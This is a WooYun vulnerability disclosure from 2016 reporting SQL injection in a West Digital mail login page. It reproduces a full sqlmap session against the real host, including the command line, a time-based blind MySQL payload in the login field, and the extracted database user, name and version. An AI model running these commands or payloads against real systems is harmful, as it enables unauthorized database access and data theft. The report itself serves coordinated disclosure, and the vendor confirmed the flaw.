当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0198159

漏洞标题:神器而已之西部数码某站SQL注入漏洞

相关厂商:西部数码

漏洞作者: 路人甲

提交时间:2016-04-19 14:39

修复时间:2016-06-03 14:50

公开时间:2016-06-03 14:50

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:18

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-04-19: 细节已通知厂商并且等待厂商处理中
2016-04-19: 厂商已经确认,细节仅向厂商公开
2016-04-29: 细节向核心白帽子及相关领域专家公开
2016-05-09: 细节向普通白帽子公开
2016-05-19: 细节向实习白帽子公开
2016-06-03: 细节向公众公开

简要描述:

【如何判断程序员在做什么】 1.打字快且停顿:正编码; 2.键盘鼠标并用且不停点击,在debug; 3.不停滚轮或pagedown:在查错; 4.不停按刷新/f5:脚本卡住了; 5. 一动不动紧盯屏幕:程序抛出异常; 6.表情时而严肃时而轻松:产品上线测试中; 7.手放键盘上长时间未动:加班太多猝死了:

详细说明:

$ python sqlmap.py -u "http://mail.west263.com/login.php?Cmd=login" --data "name=Caster11*&domain=CaterNoMatch&passwd=IamStrong&Lang=zh_TW&language=zh_TW" --sql-sql
Usage: python sqlmap.py [options]
sqlmap.py: error: no such option: --sql-sql
localhost:sqlmap Mosuan$ python sqlmap.py -u "http://mail.west263.com/login.php?Cmd=login" --data "name=Caster11*&domain=CaterNoMatch&passwd=IamStrong&Lang=zh_TW&language=zh_TW" --sql-shell
_
___ ___| |_____ ___ ___ {1.0.3.9#dev}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 11:30:52
custom injection marking character ('*') found in option '--data'. Do you want to process it? [Y/n/q] y
[11:30:54] [INFO] resuming back-end DBMS 'mysql'
[11:30:54] [INFO] testing connection to the target URL
[11:30:56] [INFO] heuristics detected web page charset 'ascii'
sqlmap got a 302 redirect to 'http://mail.west263.com:80/login.php?Cmd=error&Code=-1&Lang=zh_TW'. Do you want to follow? [Y/n] y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* ((custom) POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: name=Caster11' AND (SELECT * FROM (SELECT(SLEEP(5)))zTrO) AND 'hijS'='hijS&domain=CaterNoMatch&passwd=IamStrong&Lang=zh_TW&language=zh_TW
---
[11:30:59] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 5.10
web application technology: Apache 2.2.3, PHP 5.1.6
back-end DBMS: MySQL 5.0.12
[11:30:59] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
sql-shell> select user()
[11:31:05] [INFO] fetching SQL SELECT statement query output: 'select user()'
[11:31:05] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)
[11:31:39] [CRITICAL] considerable lagging has been detected in connection response(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or more)
[11:31:51] [WARNING] it is very important to not stress the network adapter during usage of time-based payloads to prevent potential disruptions
vpopmail@l
[11:42:21] [WARNING] turning off pre-connect mechanism because of connection time out(s)
ocalhost
select user(): 'vpopmail@localhost'
sql-shell> select database()
[11:49:58] [INFO] fetching SQL SELECT statement query output: 'select database()'
[11:49:58] [INFO] retrieved: vpopmail
select database(): 'vpopmail'
sql-shell> select version()
[12:12:33] [INFO] fetching SQL SELECT statement query output: 'select version()'
[12:12:34] [INFO] retrieved: 5.0.95-log
select version(): '5.0.95-log'

漏洞证明:

太卡了,跑不出表,断断续续的,我特么睡了一觉起来才跑了10个表不到。

修复方案:

1.过滤转义,排查数据库日志,防止被拖库。
2.去为自己的核心业务做点众测吧,比如说乌云众测很靠谱,不吹不黑。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2016-04-19 14:45

厂商回复:

感谢感谢,已经通知开发部立即修复。。

最新状态:

暂无